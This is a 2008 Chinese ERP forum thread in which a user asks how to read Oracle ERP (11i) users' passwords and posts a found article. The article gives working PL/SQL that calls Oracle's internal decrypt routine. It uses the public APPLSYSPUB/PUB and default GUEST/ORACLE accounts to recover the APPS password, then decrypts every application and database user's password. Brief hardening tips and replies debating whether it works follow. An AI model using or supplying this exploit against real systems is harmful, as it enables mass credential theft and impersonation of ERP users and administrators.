壹佰网|ERP100 - 企业信息化知识门户

 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 4773|回复: 17

如何读取ORACLE ERP中使用用户的密码

[复制链接]
发表于 2008/3/20 17:48:27 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。如果您注册时有任何问题请联系客服QQ: 83569622  。

您需要 登录 才可以下载或查看,没有帐号?注册

x
ERP中每个用户都有密码
如何知道某个用户的密码,即破解用户密码
 楼主| 发表于 2008/3/23 13:55:38 | 显示全部楼层

破解用户密码有人会吗

破解用户密码有人会吗
发表于 2008/3/24 07:53:11 | 显示全部楼层

有啊!!!

就是管理員知道!
发表于 2008/3/24 11:31:13 | 显示全部楼层
密码是采取加密的方式,虽然能看见。
可以通过system administrator权限去变更密码就可以了
发表于 2008/3/24 11:33:45 | 显示全部楼层
管理员也不知道。11i有漏洞,早就有人知道破解了,
但是ATG6之后,Oracle说FNDPASS让FND_USER中的用户具有不可逆的密码: FNDCPASS Utility New Feature: Enhance    Security With Non-Reversible Hash Password,是真的吗?
 楼主| 发表于 2008/3/26 11:02:17 | 显示全部楼层

网上找的一篇“破解Oracle ERP 密码”,可是我测试没有通过

我测试取不到ERP用户的密码,请高手指点,谢谢

----------------------------------------------------------------------------------------------------------------------------
1. 写作目的
在要不要写出来让大家知道这个问题上想了很久, 但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范.
    公布密码破解方法的目的还是想让Oracle ERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求. 想借大家的力量给Oracle施加一点压力,以将Oracle ERP的各个版本改得安全一点.

2.利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下
(1).建立Package Header
CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER
AS
     FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
        RETURN VARCHAR2;
END CrackPwd;
(2).建立Package Body
CREATE OR REPLACE PACKAGE BODY CrackPwd
AS
     FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
        RETURN VARCHAR2
     AS
        LANGUAGE JAVA
        NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END CrackPwd;
/
3.取得APPS密码的步骤
假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢? 我们知道Oracle erp提供了一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW 的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码
4.通过任何一个User name/password取得APPS密码的方法
SET SERVEROUTPUT ON
DECLARE
    guestUserPwd VARCHAR2(200);
    guestUserName VARCHAR2(100);
    guestFndPwd VARCHAR2(100);
    guestEncFndPwd VARCHAR2(100);
    delim NUMBER;
BEGIN
guestUserPwd :='GUEST/ORACLE';--Can any user password
IF    guestUserPwd IS NULL THEN
           guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
    END IF;
    delim := INSTR(guestUserPwd,'/');
    guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
     SELECT encrypted_foundation_password INTO guestEncFndPwd
    FROM fnd_user_view
    WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
      (end_date IS NULL OR end_date > SYSDATE);
       guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
      IF NOT (guestFndPwd IS NULL) THEN
         DBMS_OUTPUT.put_line(guestFndPwd);
      END IF;
END;

注: guestUserPwd :='GUEST/ORACLE';--Can any user password
       上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开
以上程序可以用toad执行


5.通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法
SET SERVEROUT ON
DECLARE
     v_encrypted_pwd     VARCHAR2 (100);
     v_apps_pwd          VARCHAR2 (100);
     v_user_pwd          VARCHAR (100);
BEGIN
     v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58
3C10B916D88062771250F4BE653891CA90671C74187B132118335';
--get    ENCRYPTED_USER_PASSWORD from fnd_user
     IF v_apps_pwd IS NULL
     THEN
        v_apps_pwd := 'APPS';
     END IF;
     v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);
     DBMS_OUTPUT.put_line (v_user_pwd);
END;

6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法
SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD)    pwd    FROM    APPS.fnd_user
7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法
select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd from    APPS.fnd_oracle_userid fou
8. 删除第一步建立的Package   
DROP PACKAGE CrackPwd
9. 结论1).只要知道fnd_user中任何一个人的密码就可以反推APPS的密码,即使将database中apps密码改掉也可以反推.2).反过来只要知道了apps的密码,fnd_user中所有user的密码都可以反推3).以此类推,只要知道fnd_user中任何一个人的密码就可以反推其它所有User的密码.4).同理,oracle erp db user(table:fnd_oracle_userid)中密码的加密算法同fnd_user,也就是说只要知道了APPS的密码,则db user的所有密码都可以反推.
10.提高Oracle ERP的安全性
(1).更改APPS的密码
(2).更改所有预先安装的fnd_user中所有user的password
(3).更改oracle erp database中的所有user(通过table:fnd_oracle_userid进行查询)的password
(4).更改在Profile: GUEST_USER_PWD 中预先设置的GUEST账户密码
(5).尽量不要将Database 可以通过公网连接.
(6).User离职后要将其密码变更后才停用.
但此方法也无法防止内部User知道APPS密码,只有当你所有密码都更改过了,你才敢在公网上连接ERP的Database.
11. 此程序在Oracle ERP 11.5.9通过Toad测试通过.
 楼主| 发表于 2008/3/26 15:11:44 | 显示全部楼层
各位看看有没有测试通,把经验共享下,我测试没有通过,请各位指点,谢谢
发表于 2008/3/26 18:58:33 | 显示全部楼层
我可以100% 的把握告诉你,在11i是可以的,我测试过。

请参考:
破解Oracle ERP 密码
http://bbs.erp100.com/thread-1592-1-1.html
发表于 2008/3/26 19:40:25 | 显示全部楼层
这个一般不可能吧?
发表于 2008/5/11 12:12:04 | 显示全部楼层
该是真的
发表于 2008/7/1 09:45:57 | 显示全部楼层
这样的问题,应该不要回答。。。。。
发表于 2008/7/2 10:38:48 | 显示全部楼层

沒有意義的事!

破解密碼得到的是什么?就是一連串的字符,如果你要覺得這些字符有意義,可以試一下。
如果沒有意義,破解有何用。
如果你是想得到密碼,再用密碼登錄,安全沒有破解的必要。
如果你是管理員,就有任何登錄的權限,如果你是開發人員或實施人員,有相應的權限原本就是有的。
總之,確解密碼,得到一連串的字符實在是無義之事。
发表于 2008/7/2 10:51:45 | 显示全部楼层

真怪@@

為啥要破解ㄋㄟ ??
发表于 2008/7/6 15:10:24 | 显示全部楼层
11i 是可以破解的, 目前比較常使用在, User 提出 ERP 問題, 但是有時從 User 描述中很難判斷是什麼樣的原因, 這時如果知道 User 的密碼, 是可以比較快速的排除問題,
发表于 2008/7/8 16:12:33 | 显示全部楼层
这个,居然也可以。密码没有使用MD5,奇怪。
发表于 2008/7/10 13:50:31 | 显示全部楼层
又学到一些! 但是没有去试过!
发表于 2008/7/10 14:31:57 | 显示全部楼层
这个肯定能取到的,呵呵。经常麻烦四海……
发表于 2008/7/14 22:28:19 | 显示全部楼层
好像不行
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|小黑屋|手机版|壹佰网 ERP100 ( 京ICP备19053597号-2 )

Copyright © 2005-2012 北京海之大网络技术有限责任公司 服务器托管由互联互通
手机:13911575376
网站技术点击发送消息给对方83569622   广告&合作 点击发送消息给对方27675401   点击发送消息给对方634043306   咨询及人才点击发送消息给对方138011526

GMT+8, 2025/11/30 15:20 , Processed in 0.023544 second(s), 14 queries , File On.

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表